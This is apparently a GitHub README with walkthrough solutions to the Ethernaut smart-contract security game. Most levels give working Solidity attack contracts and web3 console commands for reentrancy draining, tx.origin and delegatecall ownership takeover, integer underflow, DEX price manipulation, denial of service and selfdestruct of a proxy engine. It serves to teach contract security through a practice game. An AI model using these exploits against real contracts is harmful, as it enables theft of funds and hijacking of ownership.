/Ethernaut-Solutions

Solutions for Ethernaut

Primary LanguageSolidityMIT LicenseMIT

Ethernaut solution

0. Hello Ethernaut

The goal of this level is to familiarise yourself with how to interact with the current instance through the developer console. You should definitely go through this level yourself 🙂 hint: type await contract.info(). If you reaaaaaaally need another hint, await contract.password(). Ok that's about all the hints I'm going to give you.

1. Fallback

The goal of this level is to become the owner and to reduce the balance of the contract to 0.

Let's start by figuring out how to become the owner. If you look at the contract code, the only feasible way of becoming the owner is to trigger the receive function. There is a require statement that needs to pass so we will call the contribute function and specify any value less than 0.001 ETH.

Thereafter we will initiate a plain ETH transfer into the contract to become the owner. To complete the second requirement, we will call the withdraw function to withdraw the funds out.

await contract.contribute({value: 1337});
await contract.send({value: 1337});
await contract.withdraw();

2. Fallout

In earlier versions of solidity, the constructor of a contract is defined by a function with the same name as the contract i.e. if your contract name is Test, the name of your constructor needs to be Test as well.

As of solidity 0.5.0, this is no longer the case but we can still learn something important here — contracts can have malicious functions that are hidden in plain sight. In this example, the function Fal1out is spelt incorrectly. It is very easy to miss out on this when skimming through the code.

To become the owner, we can call the Fal1out function.

await contract.Fal1out({value: 1337});

3. Coinflip

The goal of this level is to guess result of side correctly 10 times in a row. The chance of this happening is 0.5^10 or 0.0009765625% which could happen but very very unlikely. Fortunately for us, the contract has a flaw with their flipping algorithm, specifically relying on block.number as a form of randomness. A malicious user can always calculate the correct answer if they run the same algorithm in their attack function before calling your flip function. Deploy the following contract on remix and call the attack function to take over the victim contract.

pragma solidity ^0.8.0;

contract AttackCoinflip {
    address victim = 0x9010BCEbf802A031eabB52B22F3ec1331D923bBd;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attack() public {
        // This is the same algorithm that is used by the victim contract
        // I am calculating the value for side before calling the victim contract.
        // This will always be correct because both functions are called in the same block.
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        // Normally you would use import the contract here so that you can call the
        // function directly but if you're lazy like me, you call call the function
        // like this as well. This approach is useful for when you don't have access
        // to the source code of the contract you want to interact with.
        bytes memory payload = abi.encodeWithSignature("flip(bool)", side);
        (bool success, ) = victim.call{value: 0 ether}(payload);
        require(success, "Transaction call using encodeWithSignature is successful");
    }
}

4. Telephone

The way to break this level is to understand how tx.origin works. When you call a contract (A) function from within another contract (B), the msg.sender is the address of B, not the account that you initiated the function from which is tx.origin. Deploy the following contract on remix and call the attack function to take over the victim contract.

pragma solidity ^0.8.0;

contract AttackTelephone {
    address victim = 0x5fD8a73D2F2BAb543A2a42bDEe3688a05f40829b;

    function attack() public {
        bytes memory payload = abi.encodeWithSignature("changeOwner(address)", msg.sender);
        (bool success, ) = victim.call{value: 0}(payload);
        require(success, "Transaction call using encodeWithSignature is successful");
    }
}

5. Token

In earlier versions of solidity, smart contract developers have to be mindful when operating on unsigned integers as one might accidentally cause an integer under/overflow. A library like safemath was created to help operate on these integers safely but as of solidity 0.8.0, this is no longer necessary because solidity 0.8.0 introduces a built-in check on arithmetic operations.

In order to become the owner of this contract, you simply need to pass a value > 20 since the condition in the first require statement will underflow and therefore will always pass.

await contract.transfer(instance, 21)

6. Delegation

DelegateCall means you take the implementation logic of the function in the contract you're making this call to but using the storage of the calling contract. Since msg.sender, msg.data, msg.value are all preserved when performing a DelegateCall, you just needed to pass in a malicious msg.data i.e. the encoded payload of pwn() function to gain ownership of the Delegation contract.

let payload = web3.eth.abi.encodeFunctionSignature({
    name: 'pwn',
    type: 'function',
    inputs: []
});

await web3.eth.sendTransaction({
    from: player,
    to: instance,
    data: payload
});

7. Force

Even if a contract doesn't implement a receive / fallback or any payable functions to handle incoming ETH, it is still possible to forcefully send ETH to a contract through the use of selfdestruct. If you're deploying this contract through remix, don't forget to specify value before deploying the AttackForce contract or the selfdestruct won't be able to send any ETH over as there are no ETH in the contract to be sent over!

pragma solidity ^0.8.0;

contract AttackForce {

    constructor(address payable _victim) payable {
        selfdestruct(_victim);
    }
}

8. Vault

Your private variables are private if you try to access it the normal way e.g. via another contract but the problem is that everything on the blockchain is visible so even if the variable's visibility is set to private, you can still access it based on its index in the smart contract. Learn more about this here.

const password = await web3.eth.getStorageAt(instance, 1);
await contract.unlock(password);

9. King

This is a classic example of DDoS with unexpected revert when the logic of the victim's contract involve sending funds to the previous "lead", which in this case is the king. A malicious user would create a smart contract with either:

  • a fallback / receive function that does revert()
  • or the absence of a fallback / receive function

Once the malicious user uses this smart contract to take over the "king" position, all funds in the victim's contract is effectively stuck in there because nobody can take over as the new "king" no matter how much ether they use because the fallback function in the victim's contract will always fail when it tries to do king.transfer(msg.value);

pragma solidity ^0.8.0;

contract AttackKing {

    constructor(address _victim) payable {
        _victim.call{value: 10000000000000000 wei}("");
    }

    receive() external payable {
        revert();
    }
}

10. Re-entrancy

This is the same exploit that led to the DAO hack. Due to the ordering of the functions in the victim contract (sending funds before updating internal state), the malicious contract is able to keep calling the withdraw function as the internal state is only updated after the transfer is done.

When msg.sender.call{value:_amount}("") is processed, the control is handed back to the receive function of the malicious contract which then calls the withdraw function again. This is how the malicious contract is able to siphon all the funds.

There are 2 things to note:

  1. The gas limited specified when calling the maliciousWithdraw function will determine how many times the reentracy call can happen.

  2. You may need to manually increase the gas limit in the metamask prompt otherwise the reentrancy calls will not have enough gas to succeed.

pragma solidity ^0.8.0;

contract AttackReentrancy {
    address payable victim;
    uint256 targetAmount = 0.001 ether; // This is the amount that the victim contract was seeded with.

    constructor(address payable _victim) public {
        victim = _victim;
    }

    // Don't forget to specify 1000000000000000 wei if calling this via remix!
    function donate() public payable {
        require(msg.value == targetAmount, "Please call donate with 0.001 ETH.");
        bytes memory payload = abi.encodeWithSignature("donate(address)", address(this));
        (bool success, ) = victim.call{value: targetAmount}(payload);
        require(success, "Transaction call using encodeWithSignature is successful");
    }

    function maliciousWithdraw() public {
        bytes memory payload = abi.encodeWithSignature("withdraw(uint256)", targetAmount);
        victim.call(payload);
    }

    receive() external payable {
        // This attack contract has a malicious receive fallback function
        // that calls maliciousWithdraw again which calls withdraw!
        // This is how the reentrancy attack works.
        uint256 balance = victim.balance;
        if (balance >= targetAmount) {
            maliciousWithdraw();
        }
    }

    function withdraw() public {
        payable(msg.sender).transfer(address(this).balance);
    }
}

11. Elevator

Ngl though, I thought that this was quite a stupid level. Conditional ifs to return different values isn't really what I would call an attack. This is a very common usecase e.g. if I have no tokens, I can't transfer anything.

Nevertheless, the solution to this floor is basically to have a function return different values when called multiple times in the same transaction. I used a bool flag since that's sufficient to clear the level.

Note: If your floor is not updated for some reason, take a look at the transaction. There might not be enough gas supplied for the entire transaction to be executed.

pragma solidity ^0.8.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}

contract AttackBuilding is Building {
    bool public flag;

    function isLastFloor(uint) external override returns(bool) {
        flag = !flag;
        return !flag;
    }

    function attack(address _victim) public {
        bytes memory payload = abi.encodeWithSignature("goTo(uint256)", 1);
        _victim.call(payload);
    }
}

12. Privacy

This level is very similar to that of the level 8 Vault. In order to unlock the function, you need to be able to retrieve the value stored at data[2]. To do that, we need to determine the position of where data[2] is stored on the contract.

I used to link the solidity docs but the path keeps changing so just google "storage layout solidity docs" and find the latest one to read.

From the docs, we can tell that data[2] is stored at index 5. Index 0 contains the value for locked, index 1 contains the value for ID, index 2 contains the values for flattening, denomination and awkwardness (they're packed together to fit into a single bytes32 slot), index 3 contains the value for data[0] and finally, index 4 contains the value for data[1].

Astute readers will also notice that the password is actually casted to bytes16! So you'd need to know what gets truncated when you go from bytes32 to byets16. You can learn about what gets truncated during type casting here.

var data = await web3.eth.getStorageAt(instance, 5);
var key = '0x' + data.slice(2, 34);
await contract.unlock(key);

13. Gatekeeper One

This level is probably the most challenging so far since you'll need to be able to pass 5 conditional checks to be able to register as an entrant.

  1. The workaround to gateOne is to initiate the transaction from a smart contract since from the victim's contract pov, msg.sender = address of the smart contract while tx.origin is your address.
  2. gateTwo requires some trial and error regarding how much gas you should use. The simplest way to do this is to use .call() because you can specify exactly how much gas you want to use. Once you've initiated a failed transaction, play around with the remix debugger. Essentially you want to calculate the total cost of getting to exactly the point prior to the gasleft()%8191 == 0. For me, this is 254 gas so to pass this gate, I just needed to use a gas limit of some multiple of 8191 + 254 e.g. 8191 * 100 + 254 = 819354.
  3. To solve gateThree, play around with remix while using this to help you better understand what gets truncated when doing explicit casting. If you know how to do bit masking, this gate should be a piece of cake for you!
pragma solidity ^0.8.0;


contract AttackGatekeeperOne {
    address public victim;

    constructor(address _victim) public {
        victim = _victim;
    }

    // require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
    // require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
    // require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");

    function part1(bytes8 _gateKey) public pure returns(bool) {
        // Downcasting from a bigger uint to a smaller uint truncates from the left
        // so going from uint64 to uint16 will remove the first 12 characters.
        // For this to pass, we need to ensure that characters 9-12 are 0s
        // So for example, something like 0000000000001234 will work since
        // it'll compare 00001234 with 1234
        return uint32(uint64(_gateKey)) == uint16(uint64(_gateKey));
    }

    function part2(bytes8 _gateKey) public pure returns(bool) {
        // This is saying that the truncated version of the _gateKey cannot match the original
        // e.g. Using 0000000000001234 will fail because the return values for both are equal
        // However, as long as you can change any of the first 8 characters, this will pass e.g. 1122334400001234
        return uint32(uint64(_gateKey)) != uint64(_gateKey);
    }

    function part3(bytes8 _gateKey) public view returns(bool) {
        // _gateKey has 16 hexidecimal characters
        // uint16(msg.sender) truncates everything else but the last 4 characters of your address (for mine, it's BeC2)
        // The rest is the same as part 1 so this function will return true for any _gateKeys with the value
        // 0x********0000BeC2 where * represents any hexidecimal characters (0-f) except 0000
        return uint32(uint64(_gateKey)) == uint16(uint160(address(msg.sender)));
    }

    function enter(bytes8 _key) public returns(bool) {
        bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);
        (bool success,) = victim.call{gas: 819354}(payload);
        require(success, "failed somewhere...");
    }
}

14. Gatekeeper Two

Very similar to the previous level except it requires you to know a little bit more about bitwise operations (specifically XOR) and about extcodesize.

  1. The workaround to gateOne is to initiate the transaction from a smart contract since from the victim's contract pov, msg.sender = address of the smart contract while tx.origin is your address.
  2. gateTwo stumped me for a little while because how can both extcodesize == 0 and yet msg.sender != tx.origin? Well the solution to this is that all function calls need to come from the constructor! When first deploy a contract, the extcodesize of that address is 0 until the constructor is completed!
  3. gateThree is very easy to solve if you know the XOR rule of if A ^ B = C then A ^ C = B.

Note that as of solidity 0.8.0, you cannot do uint64(0) - 1 unless it's done inside an uncheck scope so I've modified it to type(uint64).max.

pragma solidity ^0.8.0;

contract AttackGatekeeperTwo {

    constructor(address _victim) {
        bytes8 _key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ type(uint64).max);
        bytes memory payload = abi.encodeWithSignature("enter(bytes8)", _key);
        (bool success,) = _victim.call(payload);
        require(success, "failed somewhere...");
    }

    function passGateThree() public view returns(bool) {
        // if a ^ b = c then a ^ c = b;
        // uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1
        // can be rewritten as
        // uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(0) - 1 == uint64(_gateKey)
        uint64 key = uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ type(uint64).max;
        return uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ key == type(uint64).max;
    }
}

15. Naught Coin

I do not quite understand the purpose of this level either. Perhaps it is to remind the developer to be careful when implementing the business logic and to ensure that other functions cannot somehow bypass it e.g. using transferFrom to bypass the lockTokens modifier on transfer.

The solution is to just approve another address to take the coins out on behalf of player. You can find a minimal ERC20 token contract on the internet, load the level instance on remix and interact with the contract through remix.

16. Preservation

You need to understand how delegatecall works and how it affects storage variables on the calling contract to be able to solve this level. Essentially, when you try to do delegatecall and call the function setTime(), what's happening is that it is not just applying the logic of setTime() to the storage variables of the calling contract, it is also preserving the index of the storedTime variable in the calling contract and using that as a reference as to which variable should it update.

In short, the LibraryContract is trying to modify the variable at index 0 but on the calling contract, index 0 is the address of timeZone1Library. So first you need to call setTime() to replace timeZone1Library with a malicious contract. In this malicious contract, setTime() which will modify index 3 which on the calling contract is the owner variable!

  1. Deploy the malicious library contract
  2. Convert malicious contract address into uint.
  3. Call either setFirstTime() or setSecondTime() with the uint value of the malicious contract address (step 2)
  4. Now that the address of timeZone1Library has been modified to the malicious contract, get the uint value of your player address
  5. call setFirstTime() with the uint value of your player address.
pragma solidity ^0.8.0;

contract AttackPreservation {

    // stores a timestamp
    address doesNotMatterWhatThisIsOne;
    address doesNotMatterWhatThisIsTwo;
    address maliciousIndex;

    function setTime(uint _time) public {
        maliciousIndex = address(uint160(_time));
    }
}

await contract.setFirstTime("<insert uint value of your malicious library contract>")
await contract.setFirstTime("<insert uint value of your player>)

17. Recovery

Notice how there exists a function called destroy() which calls selfdestruct(). selfdestruct() is a way for you to "destroy" a contract and retrieve the entire eth balance at that address. So what you need to do is encode it into the data payload initiate a transaction to it. You need to analyse your transaction hash to determine the address of the lost contract. Once you have that, you should be able to solve this level.

data = web3.eth.abi.encodeFunctionCall({
    name: 'destroy',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_to'
    }]
}, [player]);
await web3.eth.sendTransaction({
    to: "<insert the address of the lost contract>",
    from: player,
    data: data
})

18. MagicNumber

I don't really think this is a security challenge, it's more like a general coding challenge about how you can deploy a very small sized contract! I'm going to skip this floor but if you're interested to do this challenge, read this solution by Nicole Zhu.

19. AlienCodex

In order to solve this level, you need to understand about 3 things:

  1. Packing of storage variables to fit into one storage slot of 32bytes
  2. How values in dynamic arrays are stored
  3. How to modify an item outside of the size of the array.ss

This example should prove useful to understanding point 2.

// What is in slot 0 of my storage?
await web3.eth.getStorageAt(instance, 0); // 0x000000000000000000000001xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx where the x represents your address and 1 represents contact = true

// Number of elements in dynamic array (codex) is stored at index 1 i.e. web3.eth.getStorageAt(instance, 1)
// Actual elements stored in dynamic array (codex) can be found at index uint256(keccak256(1)); //
80084422859880547211683076133703299733277748156566366325829078699459944778998
// New elements added to dynamic array (codex) can be found at index uint256(keccak256(1)) + index in array e.g.
// First element is found at uint256(keccak256(1)) + 0;
// Second element is found at uint256(keccak256(1)) + 1;
// Third element is found at uint256(keccak256(1)) + 2;

// We want to modify storage slot 0 since that is where owner is stored at.
// We need a value N such that uint256(keccak256(1)) + N = 0
// 0 (or max value for uint256) - uint256(keccak256(1)) = N

var maxVal = "115792089237316195423570985008687907853269984665640564039457584007913129639936"
var arrayPos = "80084422859880547211683076133703299733277748156566366325829078699459944778998"
var offset = (web3.utils.toBN(maxVal).sub(web3.utils.toBN(arrayPos))).toString();
var elementAtIndexZero = await web3.eth.getStorageAt(instance, 0);
var newElementAtIndexZero = `${elementAtIndexZero.slice(0, 26)}${player.slice(2,)}`

var replaceIndexZeroPayload = web3.eth.abi.encodeFunctionCall({
    name: 'revise',
    type: 'function',
    inputs: [{
        type: 'uint256',
        name: 'i'
    },{
        type: 'bytes32',
        name: '_content'
    }]
}, [offset.toString(), newElementAtIndexZero]);

// If you try to do
// await web3.eth.sendTransaction({to: instance, from: player, data: replaceIndexZeroPayload});
// It will fail because you are trying to modify an index that is greater than the length of the array
// I mean there's a reason why there is a retract() function right? haha.

var retractPayload = web3.eth.abi.encodeFunctionCall({
    name: 'retract',
    type: 'function',
    inputs: []
}, []); // 0x47f57b32

// Call retract as many times as you need such that the integer underflows
await web3.eth.sendTransaction({to: instance, from: player, data: retractPayload});

// You can check the size of the array by doing
await web3.eth.getStorageAt(instance, 1);

// Once it returns "0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff", you know that you're ready to replace the owner
await web3.eth.sendTransaction({to: instance, from: player, data: replaceIndexZeroPayload});

// Check that owner has been replaced successfully
await web3.eth.call({to: instance, data: ownerPayload})

20. Denial

This level is very similar to the levels Force and King. The problem with the Denial contract is the fact that instead of transferring using .send() or .transfer() which has a limit of 2300 gas, it used .call() and if no limit on the gas is specified, it will send all gas along with it. I used assert(false) in my old solution and it used to work but no longer works due to a breaking change in solidity v0.8.0 so we need another way to expand all available gas. The simplest way to do this is to run an infinite loop.

pragma solidity ^0.8.0;

contract AttackDenial {
    receive() external payable {
        while(true){}
    }
}

await contract.setWithdrawPartner("<address of your deployed AttackDenial contract.>");

21. Shop

This level is very similar to that of Elevator where you return different value everytime you call the function. Since isSold is updated first before the price is set, we are able to take advantage of this and return different values for _buyer.price() based on what the value of shop.isSold() returns. You might have to manually increase the gas limit on metamask. This is a common issue because metamask cannot estimate the gas cost when you using .call.

pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract AttackShop is Buyer {
    address public victim;

    constructor(address _victim) {
        victim = _victim;
    }

    function buy() public {
        bytes memory payload = abi.encodeWithSignature("buy()");
        victim.call(payload);
    }

    function price() public view override returns(uint) {
        bytes memory payload = abi.encodeWithSignature("isSold()");
        (, bytes memory result) = victim.staticcall(payload);
        bool sold = abi.decode(result, (bool));
        return sold ? 1 : 101;
    }
}

22. DEX

The exploit on this level is the reliance on a single oracle source for token price. Let's quickly walk through why this is a problem. Originally we were given 10A and 10B and the dex has 100A and 100B where A and B represents token 1 and 2 respectively. This gives us a price of 1A = 1B.

If we swap all of our A to B, our new balance is 0A and 20B. The dex has 110A and 90B. Now if we were to swap all our B back to A, the dex is actually quoting us a better price than what we originally swapped at (1:1). Our new balance is 24A and 0B while the dex has 86A and 110B. Repeat this a few more times by swapping your entire balance and you'll be able to drain the funds of the dex.

let a = await contract.token1();
let b = await contract.token2();
await contract.approve(instance, "1000000000000");
await contract.swap(a, b, 10);
await contract.swap(b, a, 20);
await contract.swap(a, b, 24);
await contract.swap(b, a, 30);
await contract.swap(a, b, 41);
await contract.swap(b, a, 45); // the reason why we use 45 here instead of the entire balance of B of 65 is because the dex doesn't have enough a to give back to us. So we need to calculate the right amount of b to use to ensure that we can fully drain a i.e. 110/156*65 = 45.

23. DEX TWO

This level is very similar to the previous level except you need to use a custom ERC20 token contract to drain the funds of the DEX. The reason why this is possible is because the swap doesn't require that the from / to has to be token1 and token2 so you can use a 3rd token and drain each side sequentially.


a = await contract.token1()
b = await contract.token2()
// Create a custom ERC20 token contract (C) and mint to yourself some tokens.
c = "<insert custom token address here>"

await c.approve(instance, 1000);
await c.transfer(instance, 1);
await contract.swap(c, a, 1);
await contract.swap(c, b, 2);

24. Puzzle Wallet

If you understand delegatecall, you should be able to solve this. Essentially what is happening is that the storage variable pendingAdmin is sharing the same storage slot with owner and the storage variable admin is sharing the same storage slot with maxBalance.

In order to change admin, we need to modify maxBalance (set it to the uint value of your address) but to modify maxBalance, we need to reduce the balance of the contract to 0. The execute function allows you to withdraw funds from the contract. What we need to figure out is how to call deposit and how can we get the contract to register more than what was deposited.

deposit can only be called by a whitelisted address and to be whitelisted, you need to be an owner. By setting yourself as pendingAdmin, you will become the owner since the pendingAdmin and owner storage slot is shared. Once you become the owner, you can whitelist yourself and call the deposit function.

In order to get the smart contract to register two deposits when only 1 was made, we need to take advantage of calling multicall within multicall. The reason why this works is because the multicall function checks for deposit's function signature so by calling deposit within multicall, you are able to bypass the require(!depositCalled, "Deposit can only be called once"); check.

Not to worry if you don't fully understand, the code will explain everything

// Setting pending admin / owner
pnaData = web3.eth.abi.encodeFunctionCall({
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [{
        type: 'address',
        name: '_newAdmin'
    }]
}, [player]);

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: pnaData
})

// check that you are now the owner
// await contract.owner()

// Whitelist yourself
wlData = web3.eth.abi.encodeFunctionCall({
    name: 'addToWhitelist',
    type: 'function',
    inputs: [{
        type: 'address',
        name: 'addr'
    }]
}, [player]);

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: wlData
})

// setting up multicall within multicall
depositData = web3.eth.abi.encodeFunctionCall({
    name: 'deposit',
    type: 'function',
    inputs: []
}, []);

multicallData = web3.eth.abi.encodeFunctionCall({
    name: 'multicall',
    type: 'function',
    inputs: [{
        type: 'bytes[]',
        name: 'data'
    }]
}, [[depositData]]);

nestedMulticallData = web3.eth.abi.encodeFunctionCall({
    name: 'multicall',
    type: 'function',
    inputs: [{
        type: 'bytes[]',
        name: 'data'
    }]
}, [[depositData, multicallData]]);

// This is where you deposit 0.001 ETH but the smart contract records it as 2 deposits (0.002 ETH)!
await web3.eth.sendTransaction({
    to: instance,
    from: player,
    value: "1000000000000000",
    data: nestedMulticallData
})

// Check that the smart contract recorded your deposit twice
// (await contract.balances(player)).toString()

// Withdraw all (should be 0.002) funds!
executeData = web3.eth.abi.encodeFunctionCall({
    name: 'execute',
    type: 'function',
    inputs: [{
        type: 'address',
        name: 'to'
    }, {
        type: 'uint256',
        name: 'value'
    }, {
        type: 'bytes',
        name: 'data'
    }]
}, [player, "2000000000000000", "0x"]);

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: executeData
})

// Set yourself as new admin by calling set max balance
smbData = web3.eth.abi.encodeFunctionCall({
    name: 'setMaxBalance',
    type: 'function',
    inputs: [{
        type: 'uint256',
        name: '_maxBalance'
    }]
}, ["<insert the uint value of your address here>"]);

await web3.eth.sendTransaction({
    to: instance,
    from: player,
    data: smbData
})

25. Motorbike

Nowadays, using a proxy is quite a common pattern but if you don't understand what you are doing, it can lead to very disasterous consequences. This level is an example of what happened with parity wallet.

We want to destroy the Motorbike but within the motorbike contract, there isn't any selfdestruct calls. Instead of attacking the Motorbike contract, why don't we attack the engine contract? Motorbike relies on the engine contract for its logic so if we can destroy the engine contract, the Motorbike is rendered useless.

Let's interact directly with the engine contract and gain ownership of it. Once we're made the upgrader, we can easily upgrade the engine logic to a malicious contract and call selfdestruct.

// Get the engine contract address
implAddr = await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')

implAddr = '0x' + implAddr.slice(26)

// Call `initialize()` to become the upgrader
data = web3.eth.abi.encodeFunctionSignature("initialize()")
await web3.eth.sendTransaction({
    from: player,
    to: implAddr,
    data: data
})

// Check that you are the upgrader
// data = web3.eth.abi.encodeFunctionSignature("upgrader()")
// await web3.eth.call({
//     to: implAddr,
//     data: data
//     })

// Create a bad contract and deploy it
pragma solidity ^0.8.0;

contract Kaboom {
    function explode() public {
        selfdestruct(payable(0));
    }
}

badContractAddr = "<insert bad contract address here>"

// create the payload to be called
data = web3.eth.abi.encodeFunctionSignature("explode()")

upgradeToAndCallData = web3.eth.abi.encodeFunctionCall({
    name: 'upgradeToAndCall',
    type: 'function',
    inputs: [{
        type: 'address',
        name: 'newImplementation'
    }, {
        type: 'bytes',
        name: 'data'
    }
]
}, [badContractAddr, data])


// Execute self destruct
await web3.eth.sendTransaction({from: player, to: implAddr, data: upgradeToAndCallData})